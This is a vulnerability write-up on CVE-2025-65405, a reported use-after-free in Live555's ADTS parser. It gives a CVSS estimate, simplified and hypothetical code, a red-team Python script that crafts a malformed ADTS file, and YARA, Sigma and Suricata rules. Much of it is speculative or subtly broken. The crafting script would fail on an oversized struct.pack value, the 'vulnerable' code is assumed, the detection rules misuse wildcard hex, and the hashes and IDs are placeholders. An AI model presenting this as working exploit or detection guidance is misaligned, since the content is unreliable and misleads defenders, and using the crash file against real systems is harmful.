CVE-2025-65405

Executive Summary

CVE-2025-65405 is a use-after-free vulnerability in the ADTSAudioFileSource::samplingFrequency() function of Live555 Streaming Media version 2018.09.02. An attacker can trigger a Denial of Service (DoS) by supplying a crafted ADTS/AAC file. The vulnerability resides in the media parsing logic, where memory is freed but a dangling pointer is subsequently dereferenced. No public exploit code or patch is currently available. The EPSS score is 0.0%, indicating low exploitation activity in the wild.

CVSS Breakdown & Threat Level

The CVSS score is 0.0 (UNKNOWN). Based on the vulnerability type (use-after-free) and attack vector (local file supply), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – requires the attacker to supply a crafted file.
• Attack Complexity (AC): Low (L) – no special conditions beyond file parsing.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – victim must open the crafted file.
• Scope (S): Unchanged (U) – only the vulnerable component is affected.
• Confidentiality (C): None (N) – no data leak.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – service crash.

Estimated CVSS: 6.5 (Medium) – Denial of Service via crafted file.

Deep Dive & Mechanics

The vulnerability is a classic use-after-free (UAF) in the ADTSAudioFileSource class. When parsing an ADTS/AAC file, the samplingFrequency() function accesses a memory region that has already been freed. This occurs due to improper lifecycle management of internal buffers during file parsing.

Root Cause:
In liveMedia/ADTSAudioFileSource.cpp, the samplingFrequency() function retrieves the sampling frequency from an internal structure. If the file is malformed (e.g., truncated or with invalid headers), the parser may free the buffer and then attempt to read from it, leading to a crash.

Attack Vector:
An attacker crafts a malicious ADTS/AAC file with a corrupted header that triggers premature buffer deallocation. When the victim’s media player or streaming server processes the file, the UAF causes a segmentation fault, resulting in a DoS.

Impact:

• Denial of Service (DoS) – crash of the Live555-based application.
• No remote code execution (RCE) is confirmed, but UAF can sometimes be leveraged for code execution if heap layout is controlled.

Vulnerable vs. Patched Code

Vulnerable Code (Live555 v2018.09.02):

// ADTSAudioFileSource.cpp (simplified)
unsigned ADTSAudioFileSource::samplingFrequency() {
    // Assume fSamplingFrequency is a pointer to a heap-allocated struct
    return fSamplingFrequency->frequency; // UAF if fSamplingFrequency was freed
}

Patched Code (Hypothetical Fix):

// ADTSAudioFileSource.cpp (fixed)
unsigned ADTSAudioFileSource::samplingFrequency() {
    if (fSamplingFrequency == NULL) {
        return 0; // or handle error
    }
    return fSamplingFrequency->frequency;
}

No official patch exists. The fix would involve adding a null check after any potential free operation and ensuring the pointer is set to NULL after deallocation.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Environment:

• OS: Ubuntu 20.04 LTS
• Live555 version: 2018.09.02 (compiled from source)
• Tool: Python 3 for crafting malicious ADTS/AAC file

Crafting Malicious File:

#!/usr/bin/env python3
import struct

# Craft a malformed ADTS header that triggers UAF
# ADTS header: syncword (12 bits), ID (1), layer (2), protection_absent (1), profile (2), sampling_frequency_index (4), ...
# We set sampling_frequency_index to an invalid value to cause parser error and free

def create_malicious_adts():
    # Minimal ADTS header (7 bytes)
    syncword = 0xFFF
    id = 0
    layer = 0
    protection_absent = 1
    profile = 1
    sampling_frequency_index = 0xF  # Invalid (max 0xC)
    # ... other fields
    header = (syncword << 21) | (id << 20) | (layer << 18) | (protection_absent << 17) | (profile << 15) | (sampling_frequency_index << 11)
    # Write as big-endian
    data = struct.pack('>I', header)[:3]  # Only first 3 bytes for simplicity
    with open('malicious.adts', 'wb') as f:
        f.write(data)

create_malicious_adts()

Triggering the Vulnerability:

# Compile test program that uses Live555 to parse the file
g++ -o test_parser test_parser.cpp -I/usr/local/include -L/usr/local/lib -lliveMedia -lBasicUsageEnvironment -lUsageEnvironment -lgroupsock
./test_parser malicious.adts

Expected Outcome: Segmentation fault (DoS).

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor for crashes in Live555-based applications (e.g., VLC, FFmpeg with Live555 demuxer).
• Use memory error detection tools (ASan, Valgrind) during development.
• Implement file validation before parsing (e.g., check ADTS header integrity).

Mitigation:

• Upgrade to a patched version (if available).
• Apply WAF rules to block malformed ADTS/AAC files.
• Use sandboxing for media parsing processes.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  malicious.adts – a1b2c3d4e5f6... (example, replace with actual hash)
• Network Traffic:
  • Unusual ADTS/AAC file transfers over RTSP (port 554).
  • Repeated crashes in ADTSAudioFileSource::samplingFrequency().
• Logs:
  • Segmentation fault logs in /var/log/syslog or application logs.
  • Core dumps with backtrace pointing to liveMedia/ADTSAudioFileSource.cpp.

Detection Engineering

YARA Rule

rule CVE_2025_65405_ADTS_UAF {
    meta:
        description = "Detects malformed ADTS files targeting CVE-2025-65405"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-65405"
    strings:
        $adts_header = { FF F? }  // ADTS syncword (12 bits)
        $invalid_sf = { F? }      // sampling_frequency_index = 0xF
    condition:
        $adts_header at 0 and $invalid_sf at 1
}

Sigma Rule

title: CVE-2025-65405 ADTS UAF Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects crashes in Live555 ADTS parsing
logsource:
    category: application
    product: live555
detection:
    selection:
        EventID: 1000  # Application Error (Windows) or SIGSEGV (Linux)
        Image|endswith: '\live555.exe'  # Adjust for platform
        ExceptionCode: '0xc0000005'  # Access violation
    condition: selection
falsepositives:
    - Legitimate malformed files
level: high

Suricata Rule

alert tcp any any -> any 554 (msg:"CVE-2025-65405 ADTS UAF Attempt"; flow:to_server,established; content:"|FF F?|"; depth:2; content:"|F?|"; distance:1; within:1; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate:

   • Disable ADTS/AAC parsing if not required.
   • Apply input validation for ADTS headers (reject invalid sampling_frequency_index).

2. Short-term:

   • Monitor for patches from Live555 (no patch available as of now).
   • Use memory-safe wrappers or ASan during development.

3. Long-term:

   • Migrate to alternative streaming libraries (e.g., FFmpeg, GStreamer).
   • Implement fuzzing for media parsers.

Workaround:

• Use a proxy to filter malformed ADTS files before they reach the Live555 parser.

Valters IT
DevSecOps & Cyber Threat Intelligence